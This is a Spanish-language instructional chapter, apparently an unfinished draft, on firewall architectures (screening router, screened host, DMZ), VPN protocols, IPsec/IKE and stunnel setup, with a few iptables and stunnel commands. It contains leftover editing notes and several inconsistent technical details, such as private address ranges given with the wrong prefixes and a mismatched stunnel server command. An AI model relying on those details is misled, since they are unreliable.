El router de filtrado es la opción más simple y consecuentemente la más común. La mayoría de la organizaciones usan una solución de router de filtrado principalmente porque ellas tienen todo el hardware necesario. Las dos opciones para crear un firewall de host de filtrado son single o dual-homed host bastión. Ambas configuraciones requieren que todo el tráfico pase a través del host bastión, el cual actúa como un gateway de nivel de circuito y aplicación. El método común final es un firewall de subred filtrada, la cual usa un enrutador de filtrado de paquete adicional para lograr otro nivel de seguridad.

Enrutador de Filtrado (Screening Routers)

Un firewall sencillo puede consistir en un dispositivo capaz de filtrar paquetes, un choke: se trata del modelo de cortafuegos más antiguo, basado simplemente en aprovechar la capacidad de algunos routers “denominados screening routers” para hacer un enrutado selectivo, es decir, para bloquear o permitir el tránsito de paquetes mediante listas de control de acceso en función de ciertas características de las tramas, de forma que el router actúe como pasarela de toda la red. Generalmente estas características para determinar el filtrado son las direcciones origen y destino, el protocolo, los puertos origen y destino (en el caso de TCP y UDP), el tipo de mensaje (en el caso de ICMP) y los interfaces de entrada y salida de la trama en el router.

En un cortafuegos de filtrado de paquetes los accesos desde la red interna al exterior que no están bloqueados son directos (no hay necesidad de utilizar proxys, como sucede en los cortafuegos basados en una maquina con dos tarjetas de red), por lo que esta arquitectura es la mas simple de implementar (en muchos casos sobre hardware ya ubicado en la red) y la más utilizada en organizaciones que no precisan alto niveles de seguridad. No obstante, elegir un cortafuegos tan sencillo puede no ser recomendable en ciertas situaciones, o para organizaciones que requieren una mayor seguridad para su subred, ya que los simples chokes presentan mas desventajas que beneficios para la red protegida. El principal problema es que no disponen de un sistema de monitorización sofisticado, por lo que muchas veces el administrador no puede determinar si el router esta siendo atacado o si su seguridad ha sido comprometida.

Además las reglas de filtrado pueden llegar a ser complejas de establecer, y por tanto es difícil comprobar su corrección; habitualmente sólo se comprueba a través de pruebas directas, con los problemas de seguridad que esto puede implicar.

Si a pesar de esto decidimos utilizar un router como filtro de paquetes, como en cualquier firewall es recomendable bloquear todos los servicios que no se utilicen desde el exterior (especialmente NIS, NFS, XWindow y TFTP), así como el acceso desde máquinas no confiables hacia nuestra subred; además, es también importante para nuestra seguridad bloquear los paquetes con encaminamiento en origen activado.

Screened Host Firewall (Single-Homed Bastión)

Un paso más en términos de seguridad de los cortafuegos es la arquitectura screened host o choke-gate, que combina un router con un host bastión, y donde el principal nivel de seguridad proviene del filtrado de paquetes (es decir, el router es la primera y mas importante línea de defensa). La máquina bastión es el único sistema accesible desde el exterior, en este se ejecutan los proxies de las aplicaciones, mientras que el choke se encarga de filtrar los paquetes que se puedan considerar peligrosos para la seguridad de la red interna, permitiendo unicamente la comunicación con un reducido número de servicios.

Pero, dónde situar el sistema bastión, en la red interna o en el exterior del router? Se recomienda situar el router entre la red exterior y el host bastión, pero otros defienden justo lo contrario: situar el bastión en la red exterior no provoca aparentemente una degradación de la seguridad, y además ayuda al administrador a comprender la necesidad de un elevado nivel de fiabilidad en esta máquina, ya que está sujeta a ataques externos y no tiene por qué ser un host fiable; de cualquier forma, la no degradación de la seguridad mediante esta aproximación es más que discutible, ya que habitualmente es más fácil de proteger un router que una máquina con un sistema operativo de propósito general, como es GNU/Linux, que además por definición ha de ofrecer ciertos servicios: no tenemos más que fijarnos en el número de problemas de seguridad que afectan a por ejemplo a IOS (el sistema operativo de los routers), muy reducido frente a los que afectan a diferentes sabores de GNU/Linux, que al ejecutar tantas aplicaciones y servicios muy a menudo surgen problemas que lo ven comprometido. En todo caso, aparte de por estos matices, asumiremos la primera opción por considerarla mayoritaria entre los expertos en seguridad informática; así, cuando una máquina de la red interna desea comunicarse con el exterior existen dos posibilidades:

1. El choke permite la salida de algunos servicios a todas o a parte de las máquinas internas a través de un simple filtrado de paquetes.
2. El choke prohíbe todo el tráfico entre máquinas de la red interna y el exterior, permitiendo sólo la salida de ciertos servicios que provienen de la máquina bastión y que han sido autorizados por la política de seguridad de la organización. Así, estamos obligando a los usuarios a que las conexiones con el exterior se realicen a través de los servidores proxy situados en el bastión.

La primera aproximación esconde un mayor nivel de complejidad a la hora de configurar las listas de control de acceso del router, mientras que si elegimos la segunda la dificultad está en configurar los servidores proxy (recordemos que no todas las aplicaciones soportan bien estos mecanismos) en el host bastión. Desde el punto de vista de la seguridad es más recomendable la segunda opción, ya que la probabilidad de dejar escapar tráfico no deseado es menor. Por supuesto, en función de la política de seguridad que definamos en nuestro entorno, se pueden combinar ambas aproximaciones, por ejemplo permitiendo el tráfico entre las máquinas internas y el exterior de ciertos protocolos difíciles de enrutar a través de un proxy o sencillamente que no entra nen mucho riesgo para nuestra seguridad (típicamente, ntp, dns. . .), y obligatorios para el resto de servicios a utilizar el host bastión.

La arquitectura screened host puede parecer a primera vista más peligrosa que la basada en una simple máquina con varias interfaces de red; en primer lugar, tenemos no uno sino dos sistemas accesibles desde el exterior, por lo que ambos han de ser configurados con las máximas medidas de seguridad. Además, la mayor complejidad de diseño hace más fácil la presencia de errores que puedan desembocar en una violación de la

política implantada, mientras que con un host con dos tarjetas nos aseguramos de que unicamente aquellos servicios con un proxy configurado podrán generar tráfico entre la red externa y la interna (a no ser que por error activemos el IP Forwarding). Sin embargo, aunque estos problemas son reales, se solventan tomando las precauciones necesarias a la hora de diseñar e implantar el cortafuegos y definiendo una política de seguridad correcta. De cualquier forma, en la práctica esta arquitectura de cortafuegos está cada vez más en desuso debido a que presenta dos puntos únicos de fallo, el choke y el bastión: si un atacante consigue controlar cualquiera de ellos, tiene acceso a toda la red protegida; por tanto, es más popular, y recomendable, una arquitectura screened subnet, de la que vamos a hablar a continuación.

Screened Host Firewall (Dual-Homed Bastión)

El segundo modelo de cortafuegos está formado por simples PCs ejecutando GNU/Linux equipadas con dos o más tarjetas de red y denominadas anfitriones de dos bases (dual-homed hosts) o multi-base (multi-homed hosts), y en las que una de las tarjetas se suele conectar a la red interna a proteger y la otra a la red externa a la organización. En esta configuración el choke y el bastión coinciden en el mismo equipo; la máquina GNU/Linux.

El sistema ha de ejecutar al menos un servidor proxy para cada uno de los servicios que deseemos pasar a través del cortafuegos, y también es necesario que el IP Forwarding esté deshabilitado en el equipo: aunque una máquina con dos tarjetas puede actuar como un router, para aislar el tráfico entre la red interna y la externa es necesario que el choke no enrute paquetes entre ellas. Así, los sistemas externos verán al host a través de una de las tarjetas y los internos a través de la otra, pero entre las dos partes no puede existir ningún tipo de tráfico que no pase por el cortafuegos: todo el intercambio de datos entre las redes se ha de realizar bien a través de servidores proxy situados en el host bastión o bien permitiendo a los usuarios conectar directamente al mismo.

La segunda de estas aproximaciones es sin duda poco recomendable, ya que un usuario que consiga aumentar su nivel de privilegios en el sistema puede romper toda la protección del cortafuegos, por ejemplo reactivando el IP Forwarding); además - esto ya no relativo a la seguridad sino a la funcionalidad del sistema - suele ser incómodo para los usuarios tener que acceder a una máquina que haga de puente entre ellos e Internet. De esta forma, la ubicación de proxies es lo más recomendable, pero puede ser problemático el configurar cierto tipo de servicios o protocolos que no se diseñaron teniendo en cuenta la existencia de un proxy entre los dos extremos de una conexión.

Subred Filtrada (DMZ)

La arquitectura Screened Subnet, también conocida como Red Perimétrica o DeMilitarized Zone (DMZ) es con toda seguridad la más utilizada e implantada al día de hoy, ya que añade un nivel de seguridad en las arquitecturas de cortafuegos situando una subred (DMZ) entre las redes externa e interna, de forma que se consiguen reducir los efectos de un ataque exitoso al host bastión; como hemos venido comentando, en los modelos anteriores toda la seguridad se centraba en el bastión 1, de forma que si la seguridad del mismo se veía comprometida, la amenaza se extendía automáticamente al resto de la red. Como la máquina bastión es un objetivo interesante para muchos crackers, la arquitectura DMZ intenta aislarla en una red perimétrica de forma que un intruso que accede a esta máquina no consiga un acceso total a la subred protegida.

Screened subnet es la arquitectura más segura, pero también la más compleja; se utilizan dos routers, denominados exterior e interior, conectados ambos a la red perimétrica como se muestra en la figura(OJOJOJOJOJ FOTO AQUI). En esta red perimétrica, que constituye el sistema cortafuegos, se incluye el host bastión y también se podrían incluir sistemas que requieran un acceso controlado, como baterías de módems o el servidor de correo, que serán los únicos elementos visibles desde fuera de nuestra red. El router

exterior tiene como misión bloquear el tráfico no deseado en ambos sentidos (hacia la red perimétrica y hacia la red externa), mientras que el interior hace lo mismo pero con el tráfico entre la red interna y la perimétrica: así, un atacante habría de romper la seguridad de ambos routers para acceder a la red protegida; incluso es posible implementar una zona desmilitarizada con un único router que posea tres o más interfaces de red, pero en este caso si se compromete este único elemento se rompe toda nuestra seguridad, frente al caso general en que hay que comprometer ambos, tanto el externo como el interno. También podemos, si necesitamos mayores niveles niveles de seguridad, definir varias redes perimétricas en serie, situando los servicios que requieran de menor fiabilidad en las redes más externas: así, el atacante habrá de saltar por todas y cada una de ellas para acceder a nuestros equipos; evidentemente, si en cada red perimétrica se siguen las mismas reglas de filtrado, niveles adicionales no proporcionan mayor seguridad.

Esta arquitectura de cortafuegos elimina los puntos únicos de fallo presentes en las anteriores; antes de llegar al bastión (por definición, el sistema más vulnerable) un atacante ha de saltarse las medidas de seguridad impuestas por el enrutador externo. Si lo consigue, como hemos aislado la máquina bastión en una subred estamos reduciendo el impacto de un atacante que logre controlarlo, ya que antes de llegar a la red interna ha de comprometer también al segundo router; en este caso extremo (si un cracker logra comprometer el segundo router), la arquitectura DMZ no es mejor que un screened host. Por supuesto, en cualquiera de los tres casos (compromiso del router externo, del host bastión, o del router interno) las actividades de un cracker pueden violar nuestra seguridad, pero de forma parcial; por ejemplo, simplemente accediendo al primer enrutador puede aislar toda nuestra organización del exterior, creando una negación de servicio importante, pero esto suele ser menos grave que si lograra acceso a la red protegida.

Aunque, como hemos dicho antes, la arquitectura DMZ es la que mayores niveles de seguridad puede proporcionar, no se trata de la panacea de los cortafuegos. Evidentemente existen problemas relacionados con este modelo; por ejemplo, se puede utilizar el firewall para que los servicios fiables pasen directamente sin acceder al bastión, lo que puede dar lugar a un incumplimiento de la política de la organización. Un segundo problema, quizás más grave, es que la mayor parte de la seguridad reside en los routers utilizados; como hemos dicho antes las reglas de filtrado sobre estos elementos pueden ser complicadas de configurar y comprobar, lo que puede dar lugar a errores que abran importantes brechas de seguridad en nuestro sistema.

VPNs (REDES VIRTUALES PRIVADA)

Un VPN es una técnica que permite comunicación segura entre dos puntos inseguros o vía una conexión no confiada (pública). Una VPN puede extender la LAN corporativa a Internet y más allá. En estas implementaciones, Internet actúa como el backbone de la red corporativa, así eliminando por completo de adentro y afuera de la red y la necesidad de mantener muchas redes. Las VPNs son apropiadas para toda organización que necesita de comunicación segura de recursos externos y acceso interno. Protocolos del nivel de red y algoritmos establecen un canal seguro en la Capa de Red, proveyendo privacidad, integridad y autentificación de host. En ésta sección discutimos la arquitectura básica de un VPN, sus requerimientos y como configurarla. Los siguientes temas serán discutidos:

- Requerimientos de un VPN
- IP Masquerading (IP Enmascarado)
- Establecer un VPN
- VPNs usando un Firewall Peer-to-Peer
- Stunnel

NOTA: Es posible establecer conexiones mediante túneles sin encriptación, es decir, realizar solamente la Encapsulación, pero esto no esta considerado que sea una VPN ya que los datos viajan de forma insegura a través de la red.

Requerimientos de un VPN

Un VPN requiere de tres componentes: autentificación, tunneling y encriptación. El contenido completo de una conexión VPN no puede ser completamente encriptado. Una porción de este debe permanecer disponible, sin encriptar, para así permitir la infraestructura de red sin confianza que pueda manejar los paquetes y enrutarlos a su correcto destino final. El cabezal TCP/IP puede ser escrito por un host VPN o dispositivo, independiente del contenido del paquete. Los protocolos manejan los paquetes y la carga es encriptada. La encriptación ocurren en el punto de origen (source) y la desencriptación en el punto de destino. Los protocolos manejan suficiente encriptación para identificar el receptor cuando verificación es requerida; desencriptación es manejada por el dispositivo VPN, asegurando así confidencialidad e integridad de la data transmitida a través de la red sin confianza o pública.

Los VPNs además de encriptar los datos, usan tunneling, toda la data que por ellas viajan son encapsuladas vía paquetes por la red. Esto es una ventaja, ya que como la data completa es encapsulada permite que otros protocolos de red, que no son parte del TCP/IP, sean encapsulados dentro de un paquete TCP/IP y puedan viajar por la red pública. Esta es una ventaja que favorece a redes digamos IPX/SPX, que por esto puede ser pasado por un VPN. Como el VPN encripta cada paquete IPX/SPX y lo encapsula o envuelve en un paquete TCP/IP al enviarlo por el túnel, esto permite que redes Novell, que aún son usadas por muchas compañías sean extendidas a Internet. Existen varios protocolos de tunneling, pero los más populares son PPTP (Point-to-Point Tunneling Protocol) y L2TP (Layer 2 Tunneling Protocol).

PPTP (Point-to-Point Tunneling Protocol)

Este es uno de los protocolos más populares, originalmente diseñado para permitir el transporte (de modo encapsulado) de protocolos diferentes al TCP/IP a través de Internet, estableciendo un canal privado entre sistemas comunicándose en redes públicas. Encapsula la data y los paquetes de información/control utilizando el GRE V2 (Internet Generic Routing Encapsulartion protocol Versión 2). El proceso de autenticación de PPTP utiliza los mismos métodos que usa PPP al momento de establecer una conexión, como por ejemplo PAP (Password Authenticaction Protocol) y CHAP (Challenge-Handshake Authentication Protocol).

L2TP (Layer 2 Tunneling Protocol)

Otro mecanismo para establecer un túnel entre dos redes es el L2TP, este depende de identificación a nivel de hardware. L2TP no provee encriptación ni servicios VPN pero puede ser usada en conjunto con IPSec para proveer una conexión de red-a-red con los servicios de VPN (autentificación, confidencialidad e integridad de data) manejado por el componente de IPSec.

IPSec, IKE y ISAKMP

El IPsec es una extensión al protocolo IP que le proporciona seguridad a IP y a los protocolos de capas superiores. Fue desarrollado para el nuevo estándar IPv6 y después fue portado al IPv4. La arquitectura IPsec se describe en el RFC2401. Es el estándar más popular para la encriptación de VPN. Es importante entender que aunque todas las VPNs emplean tunneling, la implementación de protocolos de túnel no provee funciones criptográficas de un VPN. Sin todos las partes elementales que hemos hablado hasta ahora de un VPN (autentificación, integridad y encriptación) los crackers fácilmente pueden hacerse pasar por cualquier usuario y lograr accesar nuestra red. La integridad de los mensajes es importante porque los paquetes pudiesen ser violados al viajar a través de la red pública. Sin ésta encriptación, su información realmente corre el peligro de ser pública.

IPsec emplea dos protocolos diferentes - AH y ESP - para asegurarla autenticación, integridad y confidencialidad de la comunicación. Puede proteger el datagrama IP completo o sólo los protocolos de capas

superiores. Estos modos se denominan, respectivamente, modo túnel y modo transporte. En modo túnel el datagrama IP se encapsula completamente dentro de un nuevo datagrama IP que emplea el protocolo IPsec. En modo transporte IPsec sólo maneja la carga del datagrama IP, insertándose la cabecera IPsec entre la cabecera IP y la cabecera del protocolo de capas supriores.

Para proteger la integridad de los datagramas IP, los protocolos IPsec emplean códigos de autenticación de mensaje basados en resúmenes (HMAC - Hash Message Authentication Codes). Para el cálculo de estos HMAC los protocolos HMAC emplean algoritmos de resumen como MD5 y SHA para calcular un resumen basado en una clave secreta y en los contenidos del datagrama IP. El HMAC se incluye en la cabecera del protocolo IPsec y el receptor del paquete puede comprobar el HMAC si tiene acceso a la clave secreta. Para proteger la confidencialidad de lo datagramas IP, los protocolos IPsec emplean algoritmos estándar de cifrado simétrico. El estándar IPsec exige la implementación de NULL y DES. En la actualidad se suelen emplear algoritmos más fuertes: 3DES, AES y Blowfish.

Para protegerse contra ataques por denegación de servicio, los protocolos IPsec emplean ventanas deslizantes. Cada paquete recibe un número de secuencia y solo se acepta su recepción si el número de paquete se encuentra dentro de la ventana o es posterior. Los paquetes anteriores son descartados inmediatamente. Esta es una medida de protección eficaz contra ataques por repetición de mensajes en los que el atacante almacena los paquetes originales y los reproduce posteriormente.

Para que los participantes de una comunicación puedan encapsular y desencapsular los paquetes IPsec, se necesitan mecanismos para almacenar las claves secretas, algoritmos y direcciones IP involucradas en la comunicación. Todos estos parámetros se almacenan en asociaciones de seguridad (SA - Security Associations). Las asociaciones de seguridad, a su vez, se almacenan en bases de datos de asociaciones de seguridad (SAD - Security Asocciation Databases).

Cada asociación de seguridad define los siguientes parámetros:

- Dirección IP origen y destino de la cabecera IPsec resultante. Estas son las direcciones IP de los participantes de la comunicación IPsec que protegen los paquetes.
- Protocolo IPsec (AH o ESP). A veces, se permite compresión (IPCOMP).
- El algoritmo y clave secreta empleados por el protocolo IPsec.
- Indice de parámetro de seguridad (SPI - Security Parameter Index). Es un número de 32 bits que identifica la asociación de seguridad.

Algunas implementaciones de la base de datos de asociaciones de seguridad permiten almacenar más parámetros:

- Modo IPsec (túnel o transporte)
- Tamaño de la ventana deslizante para protegerse de ataques por repetición.
- Tiempo de vida de una asociación de seguridad.

En una asociación de seguridad se definen las direcciones IP de origen y destino de la comunicación. Por ello, mediante una única SA sólo se puede proteger un sentido del tráfico en una comunicación IPsec full duplex. Para proteger ambos sentidos de la comunicación, IPsec necesita de dos asociaciones de seguridad unidireccionales.

Las asociaciones de seguridad sólo especifican cómo se supone que IPsec protegerá el tráfico. Para definir

qué tráfico proteger, y cuándo hacerlo, se necesita información adicional. Esta información se almacena en la política de seguridad (SP - Security Policy), que a su vez se almacena en la base de datos de políticas de seguridad (SPD - Security Policy Database).

Una política de seguridad suele especificar los siguientes parámetros:

- Direcciones de origen y destino de los paquetes por proteger. En modo transportes estas serán las mismas direcciones que en la SA. En modo túnel pueden ser distintas.
- Protocolos y puertos a proteger. Algunas implementaciones no permiten la definición de protocolos específicos a proteger. En este caso, se protege todo el tráfico entre las direcciones IP indicadas.
- La asociación de seguridad a emplear para proteger los paquetes.

La configuración manual de la asociación de seguridad es proclive a errores, y no es muy segura. Las claves secretas y algoritmos de cifrado deben compartirse entre todos los participantes de la VPN. Uno de los problemas críticos a los que se enfrenta el administrador de sistemas es el intercambio de claves: ¿cómo intercambiar claves simétricas cuando aún no se ha establecido ningún tipo de cifrado?

Para resolver este problema se desarrolló el protocolo de intercambio de claves por Internet (IKE - Internet Key Exchange Protocol). Este protocolo autentica a los participantes en una primera fase. En una segunda fase se negocian las asociaciones de seguridad y se escogen las claves secretas simétricas a través de un intercambio de claves Diffie Hellmann. El protocolo IKE se ocupa incluso de renovar periódicamente las claves para asegurar su confidencialidad.

SA (Security Associations) y IKE (Internet Key Exchange)

Un SA es el intercambio de data que debe identificar a un host en particular. Por lo general SA requiere del uso de criptografía de llave pública. Si usted desea usar IPSec para comunicarse con seguridad con otro host, primero usted debe crear un SA.

El protocolo IKE resuelve el problema más importante del establecimiento de comunicaciones seguras: la autenticación de los participantes y el intercambio de claves simétricas. Tras ello, crea las asociaciones de seguridad y rellena la SA. El protocolo IKE suele implementarse a través de servidores de espacio de usuario, y no suele implementarse en el sistema operativo. El protocolo IKE emplea el puerto 500 UDP para su comunicación.

La mayoría de softwares y dispositivos que cumplen con el IPSec permiten monitorear SA activas. El protocolo IKE funciona en dos fases. La primera fase establece un ISAKMP SA (Internet Security Association Key Management Security Association - Asociación de Seguridad del Protocolo de Gestión de Claves de Asociaciones de Seguridad en Internet). En la segunda fase, el ISAKMP SA se emplea para negociar y establecer las SA de IPsec.

La autenticación de los participantes en la primera fase suele basarse en claves compartidas con anterioridad (PSK - Pre-shared keys), claves RSA y certificados X.509 (puede realizar esta autenticación incluso mediante Kerberos).

La primera fase suele soportar dos modos distintos: modo principal y modo agresivo. Ambos modos autentican al participante en la comunicación y establecen un ISAKMP SA, pero el modo agresivo sólo usa la mitad de mensajes para alcanzar su objetivo. Esto, sin embargo, tiene sus desventajas, ya que el modo agresivo no soporta la protección de identidades y, por lo tanto, es susceptible a un ataque man-inthe-middle (por escucha y repetición de mensajes en un nodo intermedio) si se emplea junto a claves compartidas con anterioridad

(PSK). Pero sin embargo este es el único objetivo del modo agresivo, ya que los mecanismos internos del modo principal no permiten el uso de distintas claves compartidas con anterioridad con participantes desconocidos. El modo agresivo no permite la protección de identidades y transmite la identidad del cliente en texto plano y claro. Por lo tanto, los participantes de la comunicación se conocen antes de que la autenticación se lleve a cabo, y se pueden emplear distintas claves pre-compartidas con distintos comunicantes. Múltiples túneles pueden ser manejados a través de un SA.

En la segunda fase, el protocolo IKE intercambia propuestas de asociaciones de seguridad y negocia asociaciones de seguridad basándose en la ISAKMP SA. La ISAKMP SA proporciona autenticación para protegerse de ataques hombre-de-por-medio (man-inthe-middle). Esta segunda fase emplea el modo rápido. Normalmente, dos participantes de la comunicación sólo negocian una ISAKMP SA, que se emplea para negociar varias (al menos dos) IPsec SAs unidireccionales.

Ejercicio 7-4: Compilar un Kernel IPSec

El paquete FreeSwan provee el método de encriptación de comunicación entre sistemas GNU/Linux. Esto se logra modificando el kernel, si su kernel es anterior al 2.6. Este ejercicio requiere que los fuentes y las herramientas de desarrollo esten instalada en el sistema. No se proveen soluciones a este ejercicio.
PENDIENTE SIN COMPILAción

IP Enmascarado

El enmascarado de IP permite que un grupo de máquinas que no están conectadas al Internet, la accesen a través de un computador de GNU/Linux que si está conectado directamente. Este grupo de computadoras por lo general conforman una red interna de máquinas que no poseen direcciones IP públicas y son asignadas direcciones IP privadas. Las direcciones privadas pueden pertenecer a cualquiera de las siguientes categoría de IPs:

- 10.0.0.0/8 Clase A
- 172.16.0.0/16 Clase B
- 192.168.0.0/24 Clase C

El computador o grupo que sea asignado una de estas direcciones IP puede tener acceso al Internet, usando un computador con GNU/Linux con una dirección pública o conectado directamente a un enrutador, a través del uso de enmascarado de IP.

Establecer un VPN

Para establecer un VPN entre dos redes privadas comunicadas a través de Internet, primero hay que configurar un túnel seguro entre los dos puntos. Las redes privadas por lo general tienen direcciones IP del rango que mencionamos anteriormente de 10.0.0.0/8, 172.16.0.0/12 ó 192.168.0.0/16. Una red privada remota con una de estas direcciones IP intenta comunicarse con otra red privada, lo que involucra el cliente, los enrutadores servidor y Internet.

Ambas redes están protegidas por firewalls, que están establecidas en los enrutadores. La idea detrás de un VPN es enrutar todo el tráfico dirigido a una red privada a través de un túnel. Esto requiere la configuración de cierto mecanismo en ambos lado, tanto el cliente como el servidor. Aquí listamos los pasos necesarios para configurar el servidor y el cliente:
1.- Restringir los usuarios del lado del servidor. Esto se logra editando el archivo /etc/passwd, eliminando las contraseñas y empleando el mecanismo de autentificación a través de llaves públicas de ssh. Un ejemplo de una

entrada de passwd debe lucir algo como este que sigue:

miguel:*:500:110:Miguel Antonio:/home/users:/usr/sbin/pppd

Donde pppd es el daemon point-to-point protocol que provee un método para transmitir datagramas sobre un enlace serial de punto-a-punto. La entrada en el archivo passwd provee el uso del pppd en vez del shell que es lo normal y así limita la libertad del usuario.

2.- El kernel del servidor debe estar configurado con soporte para firewall y enmascaramiento de IP. Las opciones como son CONFIG_IP_FIREWALL o CONFIG_IP_MASQUERADE deben ser seleccionadas mientras se compila el kernel. Una vez configurado, las reglas de filtrado apropiadas deben ser establecidas para permitir el acceso debido. Si tenemos un firewall en el servidor VPN, deberemos agregar algunas reglas de iptables para permitir que se establezca el túnel, los puertos que nos interesan son el 1723 y el 47.

Reglas de entrada:

```
# iptables -A INPUT -p tcp --dport 1723 -j ACCEPT
# iptables -A INPUT -p 47 -j ACCEPT
Reglas de salida:
# iptables -A OUTPUT -p tcp --sport 1723 -j ACCEPT
# iptables -A OUTPUT -p 47 -j ACCEPT
# ipchains -F forward
# ipchains -P forward DENY
# ipchains -A forward -j ACCEPT -s 192.168.0.0/16 -d 172.16.0.0/12
```

Las reglas arriba mencionadas simplemente especifican el origen y el destino de los paquetes enrutados.

3.- El cliente debe usar ssh y debe redireccionar su entrada y salida al pppd.

Establecer un VPN Usando un Firewall Punto-a-Punto

Usted puede establecer un VPN usando dos firewalls del mismo tipo o dos que utilicen el mismo algoritmo de encriptado. Los firewall establecen un VPN encriptando la comunicación entre ellos, la cual es transparente a los sistemas que están detrás del firewall. El resultado es que los hosts internos a cada firewall pueden intercomunicarse sin la necesidad de agregar nada a los sistemas operativos. Este tipo de configuración crea un VPN de red-a-red y no un VPN de host-a-host.

Este uso de firewalls para comunicarse entre sí crea un perímetro virtual de red, debido a que la red de firewalls pueden crear un perímetro mayor para la red de la organización. Una ventaja de este tipo de red es que soporta usuarios remotos con completa seguridad. El alto nivel de seguridad incrementa la libertad de los usuarios remotos poder usar las aplicaciones privadas de la organización de cualquier punto en el mundo.

Stunnel

El paquete Stunnel contiene un programa que te permite encriptar conexiones TCP arbitrarias dentro de SSL (Secure Sockets Layer) para que puedas comunicarte fácilmente con clientes sobre canales seguros. Stunnel puede usarse para añadir funcionalidad SSL a los demonios comúnmente usados bajo Xinetd como los servidores POP-2, POP-3, y IMAP, a servidores independientes como NNTP, SMTP y HTTP, y para entubar PPP sobre conectores de red sin hacer cambios en el código fuente del paquete del servidor. La mayoría de los protocolos no incluyen un método de encriptación. Por ejemplo, cuando un programa de email descarga correo desde un servidor POP3 o IMAP, los mensajes son enviados en texto plano al viajar en paquetes por Internet. Esto pone el contenido de nuestros mensajes vulnerable a cualquiera que posea los recursos para interceptar nuestros paquetes. El Stunnel provee una manera para poder preservar la privacidad de los correos electrónicos y cualquier otra transmisión sobre Internet.

Con el uso de Stunnel el administrador puede encriptar y asegurar virtualmente cualquier conexión basada en TCP en cliente/servidor (IMAP, POP3, FTP, LDAP, etc.) que no venga con la funcionalidad de SSL. Para

usar Stunnel no hay que cambiar nada en el código del daemon que queremos asegurar y sólo cambios mínimos deben ser efectuados a la configuración del protocolo existente. Su adaptabilidad y versatilidad lo han llevado a ser conocido como el túnel SSL universal.

Configurar y Ejecutar Stunnel

Aunque el modo por defecto de Stunnel es Xinetd, el puede operar tanto en modo de Xinetd como demonio. Ejecutarlo en modo de daemon es logrado con la opción -d al darle inicio. En la siguiente tabla le presentamos algunas de las opciones válida:

Opción	Argumento	Descripción
-c	ningún	Ejecuta en modo de cliente
-D	nivel: 0-7	0 (sin escribir al log) y 7 (información de debugging)
-v	nivel: 1-3	Verifica el certificado del peer
-t	timeout en segundos	Timeout de la sesión del cache; por defecto 300s
-u	ident_username	Utiliza el revisado de identidad del nombre de usuario
-R	nombre-archivo	Archivo alimentar al generador de números aleatorios
-d	[host:]puerto	Escuchar conexiones en host y puerto especificado
-f	ningún	Ejecuta en el primer plano y escribe logs al stderr y no a syslog
-l	programa	Ejecuta programa local del tipo inetd
-L	programa	Abre pty local y ejecuta a programa
-s	nombre_usuario	Establece setuid en modo de daemon a nombre_usuario
-g	nombre_grupo	Establece setgid en modo de daemon a nombre_grupo

Ejecutarlo en Modo de Xinetd

El Stunnel puede ser configurado para iniciarse usando Xinetd. Conocido como el Super Servidor de Internet, Xinetd está diseñado para invocar servicios de Internet cuando se efectúa una conexión a un puerto en específico, así reduciendo la carga en el sistema. El formato de los archivo de configuración de Xinetd.d se muestra más adelante:

```
# default: off
# description: The tftp server serves files using the trivial file transfer \
#       protocol.  The tftp protocol is often used to boot diskless \
#       workstations, download configuration files to network-aware printers, \
#       and to start the installation process for some operating systems.
service tftp
{
        disable     = no
        socket_type             = dgram
        protocol                = udp
        wait                    = yes
        user                    = root
        server                  = /usr/sbin/in.tftpd
        server_args             = -s /tftpboot
        per_source              = 11
        cps                     = 100 2
        flags                   = IPv4
}
```

El administrador de sistemas deberá editar el archivo de configuración de Xinetd perteneciente al servicio que desea que Xinetd arranque cuando el puerto es requerido. Asumamos que stunnel debe ser configurado para escuchar el puerto 9990 para soportar un protocolo de nombre prueba. Si el stunnel esta instalado en su directorio por defecto, /usr/local/sbin/, la siguiente línea sería agregada al archivo en Xinetd.d:

server =/usr/local/sbin/stunnel stunnel options

Basado en ésta línea, la siguiente línea deberá ser agregada al archivo /etc/services:

scream 9990/tcp #para ejecutar scream

Después de haber efectuado estos cambios, al proceso de Xinetd se le debe enviar la señal SIGHUP:

 # kill -HUP id_del_proceso_Xinetd

El ID del proceso Xinetd puede ser encontrado con el siguiente comando:

 # ps -aux | grep Xinetd

Ejecutarlo en Modo Daemon

Es recomendable ejecutar el stunnel en modo daemon en comparación de modo Xinetd por varias razones. En modo daemon o servidor, SSL debe ser inicializado para cada conexión y no está disponible el cache de sesión. Esto asiste a stunnel ha ser más seguro. El modo de Xinetd requiere de la función “fork”, la cual requiere de recursos adicionales del sistema. El modo daemon no hará forking si el stunnel fue compilado con hilos (threads).

Configurar Stunnel para que se Ejecute en Modo Daemon

Para configurar al stunnel que se ejecute en modo daemon y que escuche en el puerto 9990 y que soporte un protocolo stream TCP, se le agregaría la siguiente línea al archivo /etc/services:

stream 9990/tcp # El servicio stream

El stunnel es iniciado de la siguiente manera:

 # /usr/bin/stunnel -d stream options

Configurar Stunnel para que se Ejecute en Modo Daemon

Si el administrado desea que una conexión POP3 entre el servidor de correo de la organización y un ordenado externo sea segura sobre la red pública, pero el ordenado externo no posee un programa cliente que soporte ssl. Este problema puede resolverse ejecutando un stunnel en el computador externo y comunicando el email con el stunnel que se ejecuta localmente como si este fuese el servidor de correo. Los paquetes son encriptados por stunnel y enviados al stunnel ejecutándose en el servidor de correo. Ya en el servidor, el stunnel desencripta los paquetes y se lo pasa al daemon de POP3 local en el servidor. Aunque la conexión es encriptada y segura, el cliente de correo del computador externo y el servidor de correo POP3 funcionan normalmente.

Para implementar POP3 sobre stunnel, el administrador debe escoger un número de puerto arbitrario en el servidor de correo para escuchar por la conexión segura; algunos protocolos tienen reservados números de puerto para las variantes de ssl. El puerto designado del POP3 seguro es el 995, pero cualquier número disponible puede ser utilizado si el administrador es consistente. En el siguiente ejemplo utilizaremos el número de puerto designado, el computador externo será referido como cliente y el servidor de correo será referido como codigolibre. En el cliente, stunnel es invocado con las siguientes opciones:

 # stunnel -c -d pop3 -r codigolibre:pop3s

Esto indica que stunnel deberá ejecutarse en modo cliente vía la opción -c, escuchar en el puerto de POP3 vía la opción -d y conectarse al la máquina remota, codigolibre, en el puerto pop3 vía la opción -r.

En codigolibre, el servidor de correo, el stunnel es invocado así:

 # stunnel -d pop3s -r cliente:pop3

Este comando indica que stunnel debe escuchar en el puerto POP3 vía la opción -d y conectarse al computador remoto, cliente, en el puerto POP3 vía la opción -r.

La configuración del cliente de correo, el cliente debe ser cambiado para usar la máquina local como servidor de correo entrante de POP3. Aunque por lo general, el protocolo estándar POP3 no soporta encriptación, el tráfico ahora sobre la red pública si lo esta.

